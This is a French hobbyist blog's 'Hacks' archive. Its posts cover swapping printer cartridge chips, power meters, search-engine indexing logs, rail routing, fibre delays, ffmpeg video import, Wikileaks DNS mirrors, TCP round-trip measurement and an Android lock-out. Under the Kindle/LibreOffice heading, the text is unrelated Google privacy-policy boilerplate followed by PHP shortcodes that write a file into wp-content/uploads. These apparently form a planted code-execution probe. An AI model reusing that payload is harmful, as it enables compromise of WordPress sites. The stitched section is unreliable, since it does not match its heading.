Category Archives: Hacks

Pourquoi j’ai piraté ma propre imprimante et ses cartouches officielles

Tout a commencé en septembre 2017 par un banal achat d’imprimante laser couleur. Il nous fallait une imprimante utilisable facilement ailleurs que sous Windows, idéalement en réseau pour éviter des allées et venues entre ordinateurs, et recto-verso. De préférence, connaissant les formats Postscript ou PDF pour éviter d’avoir à réaliser des conversions. La plupart de ces fonctions sont réalisables par logiciel pour compenser leur absence, mais c’est toujours plus compliqué à mettre en œuvre.

Par ailleurs, nous souhaitions une imprimante laser au lieu d’une jet d’encre. Ces dernières ne sont pas particulièrement moins chères, et sont moins fiables (l’encre sèche avec le temps), alors que nous imprimons assez peu. Je pensais aussi échapper aux restrictions d’usage qui touchent les cartouches jet d’encre et permettent de les vendre à prix fort, pensant naïvement que les cartouches de toner en étaient exemptes.

Bref, nous trouvons rapidement un modèle qui coche toutes les cases à un prix intéressant, un peu moins de 110 €. Appelons-la modèle 310.

C’est une imprimante très ressemblante mais d’un modèle différent que nous recevons. Appelons-la 317. La 317 est identique à la 310, à un petit détail près : elle a l’option wifi, qui ne nous intéresse pas du tout. Mais ça ne semble pas gênant de l’avoir.

L’imprimante est munie de 4 cartouches d’encre d’origine : noir, magenta, cyan, jaune. Elles sont censées permettre l’impression d’environ 1500 pages, contrairement aux cartouches vendues ensuite, prévues pour 3000 pages. Leur format étant identique, les cartouches d’origine ne sont donc pas remplies complètement. Le coût par page de l’imprimante neuve avec cartouches est ainsi relativement comparable au coût par page des 4 cartouches de remplacement. Le constructeur souhaite probablement s’assurer qu’on ne commandera pas une imprimante neuve complète lorsque vient le moment de changer les cartouches d’origine.

Passent alors quelques mois d’utilisation sans histoire, jusqu’à la fin 2018, principalement en noir et blanc. Nous approchons de l’épuisement de la cartouche magenta, gentiment signalé à l’avance par l’imprimante.

Nous commandons donc des cartouches de remplacement du constructeur, profitant d’une offre groupée à prix « d’ami » incluant les 4 couleurs. Nous les stockons en attente d’utilisation, le temps que la cartouche magenta d’origine arrive effectivement à bout, ce qui prendra 4 ou 5 mois.

« Et là, c’est le drame. »

L’imprimante ne reconnaît pas la cartouche magenta de remplacement, produisant une erreur cryptique et refusant catégoriquement d’imprimer, même en noir et blanc.

Tout naturellement nous appelons donc l’assistance de la marque en France, qui investigue pour m’expliquer, en substance, que tout cela est de ma faute : mon modèle est le 317, or j’ai commandé des cartouches pour le modèle 310. Il est donc tout à fait « normal » que cela ne fonctionne pas. J’aurais dû faire attention. Je peux m’adresser au vendeur des cartouches pour demander un échange.

De son côté, le vendeur des cartouches — nous avions, autre erreur, privilégié un commerçant du sud de la France pour éviter d’engraisser une grande plateforme de vente en ligne — explique qu’au titre de ses conditions de vente il ne peut réaliser d’échange, même de cartouches neuves non déballées, car notre commande date de plus de 3 mois (puisque nous nous y étions pris à l’avance).

Nous voilà donc avec une imprimante totalement inutilisable à moins de payer à nouveau au moins une cartouche magenta (environ 150-170 €), et 450 € de cartouches inutilisables, potentiellement revendables sur e-bay avec les complications associées, une perte de valeur pour nous, et un risque pour l’acheteur.

Pour la petite histoire, la présence d’une cartouche vide empêche également toute mise à jour logicielle de l’imprimante.

En faisant quelques recherches en ligne, je découvre que des commerçants chinois revendent des circuits (chips) de remplacement pour les cartouches, classés par couleur d’encre, modèle d’imprimante, nombre de pages le cas échéant, et zone géographique.

Ici un petit aparté sur la notion de zone géographique pour imprimante. D’après l’assistance du fabricant, il s’agit de fournir du toner optimisé pour la région où il est utilisé, afin d’être adapté aux conditions climatiques locales (hygrométrie, température).

On pourra juger de cette promesse en constatant sur cette image que la Russie et toute l’Afrique sont dans la même zone, ainsi que l’Espagne et le Groenland, ou encore le sud des États-Unis et le grand nord du Canada. En revanche, cette politique commerciale permet d’appliquer des tarifs et circuits de distribution différenciés par continent.

J’ai donc commandé sur Aliexpress, en Chine, les circuits de remplacement “zone Europe”, pour chacune des 4 couleurs, pour le modèle d’imprimante 317.

Ces circuits sont normalement prévus pour recharger des cartouches avec du toner “compatible” (bien moins cher). Je dois être l’un des rares à m’en être servi sur des cartouches constructeur neuves. La somme est modique (15 € par circuit), le risque financier est donc minime même si l’opération échoue, et la manipulation est simple : 2 vis à ôter, le chip à remplacer, on revisse et c’est reparti.

Cet hiver j’avais remplacé le chip de la cartouche magenta, ce qui m’a permis d’utiliser à nouveau l’imprimante après presque 1 an de panne sans trop savoir comment s’en sortir. Je viens de remplacer le chip et la cartouche noire. On note sur l’emballage (photo ci-dessous) la mention du nombre de pages (3K), de la couleur (BK = black, noir), et de la zone géographique (EUR).

Addendum technique : les circuits ci-dessus sont interfacés avec l’imprimante par le protocole I2C, très courant dans le petit matériel électronique. Il est possible, dans une certaine mesure, de les reprogrammer par ce protocole pour changer les paramètres (autre couleur, autre imprimante, autre zone géographique, remise à zéro du compteur), et on trouve sur le web des instructions d’électroniciens à cet effet. C’est de ce type d’instructions que se servent les vendeurs de chips “pirates”. Dans certains cas, il est impossible de reprogrammer un circuit qui est arrivé au bout du nombre de pages. J’ai essayé ces procédés avec un Raspberry — car celui-ci comporte une interface I2C — sur les circuits “constructeur”, mais sans succès. J’aurai peut-être plus de résultats avec les circuits commandés en Chine.

Les imprimantes considérées ici sont les Lexmark CS310dn (sans wifi) et CS317dn (avec wifi), mais il existe énormément d’autres marques connues qui pratiquent le même genre de procédé : HP, Epson, Ricoh, Samsung, etc. L’objet de ce texte était surtout de montrer les complications que cela implique pour des usages légitimes, ces restrictions n’étant bien entendu jamais explicitées lors de l’acquisition.

La mesure automatisée de consommation électrique

Suite à mon billet précédent sur la question, et quelques retours de Stéphane Bortzmeyer, Philippe Bourcier et Laurent Penou, que je remercie ; suite aussi à un article tout récent de Pour la Science, j’ai décidé de commander un peu de matériel électronique pour pouvoir mieux mesurer la consommation des équipements réseau domestiques.

Voici le graphique extrait de Pour la Science titré « le vrai coût énergétique du numérique » (réservé abonnés) [ bizarrement, le graphique semble avoir disparu de l’article depuis que je l’ai consulté initialement ], par Anne-Cécile Orgerie.

C’est ce style de graphe que je souhaiterais réaliser.

Pour cela, il faut un système permettant un relevé automatique périodique des consommations.

J’ai donc commandé :

  • une prise DELOCK 11827, essayée par Jan-Piet Mens ici.

Ces prises permettent une commande de l’appareil branché, mais aussi une consultation de sa consommation relevable par navigateur web ou programmation, à travers une connexion wifi.

  • un boîtier PZEM-004T. Le PZEM-004T est un circuit wattmètre intégré qui se branche entre le secteur et l’équipement à mesurer. Il se vend parfois nu, parfois dans un boîtier plastique. Il peut être relevé par port série (sur niveaux TTL), ou avec un câble USB réalisant l’adaptation. Le modèle représenté ici est limité à 10 ampères, mais il existe également une version 100 ampères que je n’ai pas commandée pour l’instant, et qui dispose d’une pince de courant pratique pour mesurer de fortes intensités sans couper le câble.
  • un relais 1PM « Shelly Plug ». Ce boîtier, normalement conçu pour être intégré dans un interrupteur mural ou une prise pour les rendre commandables à distance par navigateur web ou téléphone mobile, à travers votre wifi, inclut également un wattmètre relevable. Il y a en ce moment des promotions chez Shelly, petite société bulgare, et le paquet de 2 Shelly 1PM est à un prix particulièrement intéressant.
  • une « Shelly Plug S », à peu près la même chose que le Shelly 1PM ci-dessus, mais sous forme de prise électrique, prête à utiliser, et similaire à la DELOCK 11827 présentée en haut. Il existe un autre modèle de puissance supérieure, et toute une gamme pour commander vos appareils électriques à distance.
  • un module wattmètre I2C pour basse tension, courant continu, relevable par I2C. Il est donc plus compliqué à utiliser, il faut lui adjoindre un équipement supplémentaire disposant de l’I2C : un Raspberry, par exemple, ou un processeur destiné à l’électronique embarquée comme un STM32 ou un ESP32 qui disposent des interfaces nécessaires. Il doit être calibré avant usage, mais il dispose d’une bonne résolution (20 mW). En le complétant avec quelques prises adaptées, on peut par exemple lui faire mesurer la consommation d’un appareil USB, d’un appareil sur batterie, ou peut-être sur adaptateur secteur — si la tension mesurée est suffisamment lissée, ce qui n’est pas forcément gagné dans ce dernier cas –.

Voilà. Restera à installer tout ça et à en tirer des informations pertinentes.

PS : Stéphane Bortzmeyer a lui aussi parlé des mesures qu’il a faites sur son réseau (électrique) domestique, des appareils utilisés, et des résultats obtenus. https://www.bortzmeyer.org/mesure-conso-energie.html

Petit jeu de fraîcheur avec les moteurs Qwant et Bing

Vous connaissez sans doute le moteur de recherche français Qwant. Ce moteur a défrayé la chronique à plusieurs reprises ces dernières années, et à plusieurs titres.

L’un des critiques principales était sa dépendance au moteur états-unien Bing de Microsoft.

En effet, créer un index significatif du web est une entreprise difficile et coûteuse en temps comme en ressources. Qwant avait donc choisi plus ou moins officiellement de s’appuyer sur les résultats de Bing, pendant qu’il constituait son propre logiciel et son propre index, tout en vendant des publicités sur les pages de résultats pour s’assurer un début de revenu.

Rapidement sont apparues des critiques sur la vitesse d’indexation des sites, certaines pages n’étant manifestement rafraîchies que rarement.

J’ai voulu en avoir le cœur net en créant une page sur un site que je gère, nic.eu.org. La page est ici et affiche la date et heure du jour à Paris, avec une chaîne unique permettant de la retrouver facilement dans les moteurs. Elle est référencée par un lien caché sur la page d’accueil du même site.

Le résultat est plutôt bon en termes de fraîcheur. Ainsi, ce matin 11 mars 2020, on peut voir sur Qwant que la page indexée a été parcourue le 9 mars à 0h51 :

Cependant, les choses se gâtent en ce qui concerne l’indépendance vis-à-vis de Bing. En effet, la page retournée par Qwant est en fait celle indexée par Bing, comme le montre une recherche sur Bing qui donne une date identique.

On obtient le même résultat par une recherche sur Duckduckgo, autre moteur utilisant Bing :

Dans les journaux de connexion du serveur web, il est facile de voir qu’en effet, à cette date, c’est bien l’indexeur de Bing qui est passé sur la page, suivi peu après par celui de MSN :

40.77.167.206 - - [09/Mar/2020:00:51:23 +0100] "GET /d.html HTTP/1.1" 200 63 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" nic.eu.org

40.77.167.221 - - [09/Mar/2020:00:53:09 +0100] "GET /d.html HTTP/1.1" 200 63 "-" "msnbot/2.0b (+http://search.msn.com/msnbot.htm)" nic.eu.org

À ce jour, l’indexeur de Qwant n’a pas visité cette même page. Il passe régulièrement sur le site, mais se contente en général de visiter la page d’accueil et l’icone du site :

194.187.171.130 - - [11/Mar/2020:10:28:48 +0100] "GET /favicon.ico HTTP/1.1" 404 196 "-" "Qwantify/1.0" nic.eu.org

194.187.171.142 - - [11/Mar/2020:10:28:48 +0100] "GET / HTTP/1.1" 200 1572 "-" "Qwantify/1.0" nic.eu.org

Publier un livre Kindle avec un outil libre : LibreOffice

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Routage ferroviaire pour raildar.fr avec Openstreetmap et OSRM

Pour fêter la nouvelle année, que je vous souhaite à toutes et tous joyeuse et heureuse, voici une petite application web que j’ai écrite récemment pour aider au débogage des trajets de raildar.fr, qui permet d’identifier plus rapidement les problèmes à corriger dans openstreetmap.org. Voir plus bas pour des précisions de fond.

Ça se révèle assez ludique (pour les amateurs de trains).

Voici l’URL temporaire “de travail” chez moi avec un exemple de trajet Londres-Amsterdam :

https://signal.eu.org/osm/?fromto=51.534377,-0.128574,52.379018,4.899988

Pour demander un trajet, on déplace simplement les deux marqueurs et le logiciel de routage se débrouille, et affiche la distance résultante.

En voici une copie d’écran (cliquer pour agrandir) :

LondresAmsterdam

Attention, ne bourrinez pas trop sur le serveur, le calcul des routes prend quelques secondes et utilise l’instance OSRM de raildar.fr.

L’application est aussi déployée sur les serveurs de @Turblog (Bruno Spiquel) dans une version un peu moins à jour.

Quelques précisions pour ceux qui ne connaissent pas : raildar.fr utilise les données SNCF de retard, ainsi que la base cartographique openstreetmap.org. openstreetmap.org est en quelque sorte le Wikipédia de la cartographie. Chacun peut y apporter des corrections. En complément, OSRM (Open Source Routing Machine) extrait les différents graphes (routiers, ferroviaires, etc) afin de calculer des trajets de toutes sortes dans le graphe.

Mon application est éhontément dérivée du code initial de raildar.fr (écrit par , basé sur leaflet et jQuery) auquel j’ai ajouté le décodage de la sortie OSRM.

 

Quand la fibre Free se fait attendre, même à Paris

(précision sur le titre : le “même à Paris” est une allusion à la densité de la ville, où donc la rentabilité par rapport à l’investissement, prétexte souvent soulevé par les opérateurs, est le moins susceptible de poser un problème)

À l’heure où beaucoup monde se plaint de ne pouvoir obtenir la fibre (à part une poignée de privilégiés qui l’ont déjà, sans compter les très rares qui pourraient l’avoir mais n’en veulent pas), une étude OCDE signalée par Numerama confirme le colossal retard français en la matière.

Récemment, Orange a annoncé triomphalement activer 4000 prises par semaine.

La situation dans mon immeuble :

  • immeuble construit en 2008
  • convention Free signée début 2011
  • repérage puis pose par Free de la desserte horizontale (égouts -> immeuble) en octobre/novembre 2011
  • depuis… rien !

On appelle “desserte horizontale” le raccordement par la rue, les égouts, etc, d’un immeuble au réseau d’un opérateur.

La “desserte verticale” est le câblage interne de l’immeuble, reliant l’arrivée horizontale aux logements à desservir.

Lorsque les deux sont réunis, on parle d’accès FTTH (fiber to the home, fibre jusqu’à l’habitation).

Voici donc une photo, prise le 13 novembre 2011, de l’arrivée de la fibre Free dans le sous-sol de mon immeuble, via les égouts de Paris. La fibre est munie d’une jolie étiquette verte “FREE INFRASTRUCTURE” avec une référence et un numéro de téléphone qui tombe sur un répondeur, renvoyant l’appelant vers d’autres numéros “spéciaux syndics d’immeuble” qui ne permettent jamais d’obtenir quelqu’un. On voit que la fibre est sagement enroulée, inutile, en attente d’être branchée sur un réseau vertical qui n’est toujours pas là, près d’un an après.

Dans mon immeuble, les questions logiques des résidents : “On a bien voté la convention fibre pour Free en assemblée générale annuelle ? Ça en est où ? Faut-il qu’on demande à un autre opérateur ?”

Notre immeuble est très loin de représenter un cas isolé, j’ai entendu parler d’exemples similaires à Paris et à Lyon. Les opérateurs se sont fait la course pour mettre un pied le plus rapidement possible dans les immeubles, mais se font tirer l’oreille pour terminer les travaux, prétextant une faible demande des abonnés..

Parallèlement, pour masquer le retard français, les pouvoirs publics utilisent les statistiques faussement flatteuses de Numéricâble, un réseau câblé de télévision vieux, à quelques rénovations près, de 30 ans, en fibre (moderne à l’époque) prolongée dans les immeubles par du câble coaxial tout à fait classique et aux performances bien moindres que la fibre optique de bout-en-bout.

Quant aux opérateurs, par souci d’économie, ils misent sur la technologie VDSL2 pour donner une “2ème vie” [sic] au réseau cuivre du téléphone classique. On ignorait que celui-ci était mort une première fois.

Mise à jour : je ne regrette pas d’avoir écrit et diffusé ceci sur twitter, j’ai pu avoir des retours sur la procédure à suivre pour avancer. Free semble avoir résilié la convention d’immeuble.

Il nous appartient donc de choisir un nouvel opérateur d’immeuble  lors de la prochaine assemblée générale ; cet opérateur pourra effectuer la pose du câblage vertical et utiliser la fibre posée par Free.

Mise à jour 2 : il s’avère que les deux seuls opérateurs installant du FTTH en France en tant qu’opérateur d’immeuble actuellement sont SFR et FT/Orange. Merci beaucoup aux personnes qui m’ont donné des contacts (SFR très réactif…).

L’ARC (association conseillant les syndics de copropriété) arrive aux mêmes constatations, mais conseille carrément de rester en ADSL, ce qui est absurde et désolant. L’ARC soulève des arguments spécieux à mon sens contre les conventions des opérateurs (en fait reprises d’un modèle ARCEP) : durée de 25 ans (compréhensible, cela limite les interventions perpétuelles en AG, mais elles peuvent être résiliées avec préavis de 18 mois) et non-propriété du câblage à l’issue de la convention (compréhensible également : je vois mal les copropriétés se charger de la maintenance/entretien/évolution technique ou avoir un prestataire supplémentaire à trouver pour cela).

Voir :

Lossless import of MPEG-TS or HDV video files to iMovie

Here’s a little trick I learned and wanted to share. As it’s not complete, comments and additional hints are welcome!

The problem

I have a Canon HDV camcorder with many hours of HDV video. HDV is mpeg2-compressed video with a bitrate of about 25 Mbps.

I also have a MacOS X computer where I can run iMovie, Apple’s consumer-grade video editing application.

The camcorder video can be easily imported to FreeBSD using the built-in fwcontrol tool. It generates MPEG-TS files (mostly like IP TV channels) which read nicely in vlc, mplayer and other video tools. It’s easy and reliable.

The video can also be imported directly from the camcorder to iMovie, but it is painful and not adapted to easy archiving of the rushes. The import process is slow and buggy and you often have to rewind the tape and restart it.

I wanted to get the best of both worlds — fwcontrol’s easy import followed with iMovie editing.

But iMovie doesn’t know how to directly import MPEG-TS files. It can only import video from .mov (Quicktime) or .mp4 (MPEG4) containers. It’s difficult to know which video codecs are supported by iMovie but it seems to accept MPEG2, which means it can losslessly import HDV files, it’s just a matter of converting their container format from MPEG-TS to Quicktime.. It saves us from the slow, error-prone, lossy and painful process of transcoding.

So how do you do that?

The (mostly complete) solution

Here’s the incantation that mostly works for me. input.mpg is my MPEG-TS file; it can come from a fwcontrol import or from a IPTV capture (Freebox file for example); output.mov is the resulting Quicktime-container file:

ffmpeg -i input.mpg -acodec copy -vcodec copy output.mov

On my server (a double-core Intel Atom D525 processor with SATA disks, ie not a very fast machine) it converts at about 80-100 frames per second (3x to 4x real time), which is very fair (IO bound probably) and 12 to 20 times faster than transcoding the video.

From an IPTV capture you may have to explicitly transcode audio to AAC using -acodec libvo_aacenc instead.

Your second-best bet if the above doesn’t work is to let ffmpeg make a (much slower) almost-lossless transcoding to MPEG4, using option -sameq, yielding a bigger file (was almost twice as big as the original in my trials):

ffmpeg -i input.mpg -acodec copy -sameq output.mov

It works, but…

Why do I say it mostly works? Because there are two remaining gotchas:

  1. the original video timestamps (date and time of the video) are lost and set to the date and time of the conversion process — it’s constant and doesn’t even increment throughout the file duration. It is probably a ffmpeg bug. I tweaked the import with -copyts option but this apparently handles the time index from the camcorder (duration from the beginning of the tape). This may (or may not) be related to the following error message from ffmpeg: [NULL @ 0x806c1d920] start time is not set in av_estimate_timings_from_pts
  2. iMovie doesn’t seem to grok huge files. It works for a couple hundred megabytes, but not for a couple gigabytes. So you may have to split files take by take, and I don’t know how to do that easily, especially given the above regarding broken timestamps.

Thanks to Benjamin Sonntag for the excellent idea of using ffmpeg for this 😉

Comments and especially clues/solutions more than welcome 😉

Petite expérience de DNS et de Twitter avec wikileaks

On a tout à fait le droit de ne pas partager à 100 % les idées et les procédés de Wikileaks, actuellement sur le devant de l’actualité, et certaines de ces critiques sont légitimes. Mais, a contrario, certains des procédés utilisés pour les faire taire ont un petit parfum qui, à titre personnel, me dérange.

L’expérience du jour : wikileaks.org ayant vu son DNS coupé par son hébergeur (problèmes d’attaques, officiellement), les discussions de ce matin sur Twitter consistaient à s’échanger “à la main” les adresses IP des miroirs… pas très pratique. Cette coupure de DNS fait suite à un déplacement du site de chez Amazon, aux USA, vers OVH, un hébergeur français.

Et puis j’ai fait une proposition toute bête qui a bien décollé et j’ai créé wikileaks.eu.org pour accomplir ma part, merci à tous ceux qui ont suivi et qui ont été ajoutés dans cete liste plus générale (section “miroirs DNS”).

Jean-Michel Planche ayant pris la peine de faire un résumé du contexte, je ne vais pas le paraphraser, allez voir son billet.

Voir aussi la lettre de mission d’Éric Besson (à Pascal Faure du CGIET) divulguée par LePost, qui vaut franchement le déplacement. Pour résumer, Éric Besson cherche un moyen d’expulser le site de France.

Un autre billet général chez Authueil sur la censure en général et celle de Wikileaks en particulier résume bien la question.

Et un article d’Écrans (Libération) résume bien la situation à l’exception d’une erreur : FDN n’héberge pas un miroir de Wikileaks, wikileaks.fdn.fr est juste un renvoi DNS suivant la méthode exposée ci-dessus.

Désolé pour ce billet un peu décousu mis à jour au fur et à mesure…

Mise à jour 18h45 : c’est maintenant le nom wikileaks.ch actif depuis ce matin qui est en carafe…

Mise à jour 4 décembre 2h35 : une liste plus complète chez Bluetouff.

TCP-Estimated round-trip test

In an attempt to evaluate different methods for measuring the performance of a TCP/IP connection, I’ve bumped into FreeBSD‘s getsockopt(TCP_INFO) system call, cloned from a similar call invented by Linux, which kindly returns interesting data about the current TCP connection.

I was mainly interested about round-trip time (RTT, called tcpi_rtt) and its standard deviation, mistakenly called tcpi_rttvar even though it’s not a variance.

I’ve written a small proof-of-concept tool accessible at http://eu.org:4500/ to display operating system information retrieved from the current HTTP access. The page currently runs on a FreeBSD 9-CURRENT machine; feel free to try it out, it works either in IPv4 or IPv6. Here’s a sample as of today:

This experimental page displays raw system TCP estimates, in microseconds.

Address: 2a01:e35:8b50:2c40::4
Estimated round-trip time: 15437
Estimated standard deviation: 27937

Note that the measures are very rough. First, the real resolution is about 1 millisecond (one kernel tick), not 1 microsecond. Then, several RTT samples are smoothed into the provided values, with a bigger weight for more recent samples. I left the actual values obtained from the kernel, for clarity, even though giving them up to a 1 microsecond resolution is somewhat misleading.

Then, of course, the results also depend on the number of samples, which tends to be low: the above page waits for the client HTTP headers to be fully received, then emits its own headers in reply, then waits for one second to give some time for the TCP ack(s) to come back, then displays the then-current estimations.

The results are probably sufficient for TCP’s internal needs, but they may differ wildly from real RTT values. Plus, the real RTT value depends on packet size, which TCP doesn’t seem to take into account. The above example is taken from my local network and displays over 15 ms for the RTT, whereas the real RTT is well below 1 ms (0.23 min, 0.4 average with 0.01 standard deviation, according to ping). The results are not always wildly up, I’ve noticed the opposite effect from a remote mobile phone displaying ~100 ms whereas the ping time was more like ~200 ms…

Feel free to use it and add comments below.

Android pattern locking: a horror story

45 seconds of play, ~5 hours of desperate hacking.

A few days ago, my 4 year old daughter was playing with my mobile phone running Android 1.6. To let her play with the screen while avoiding any mishap, I locked the phone. It was obviously not enough, she instantly found the MENU key to unlock it.

So I had the brilliant idea to put on a locking pattern, the pretty method used on Android to really lock the screen.

After 5 unsuccessful tries, which my daughter reached in about 15 seconds, the pattern unlocking incurs a 30-second guard delay. I decided that the game was too risky (I found out later there’s also a 20-try hard limit, but we didn’t reach it) and took my phone back.

There, I had another brilliantly fatal idea: I clicked on the “forgot the unlock pattern” button which just appeared, just out of curiosity to see what would happen next. The phone asked for my Gmail account and password. I filled the requested information, but it didn’t unlock the phone; apparently this is a known Android bug that I didn’t know about. And, contrary to what I naively assumed, there was no way to get back to the unlock pattern screen. I rebooted the phone. No change, no escape.

Then it dawned on me that I was 600 kilometers away from home, for almost a full week, without all my computer tools. And I was locked out of my own phone.

Continue reading Android pattern locking: a horror story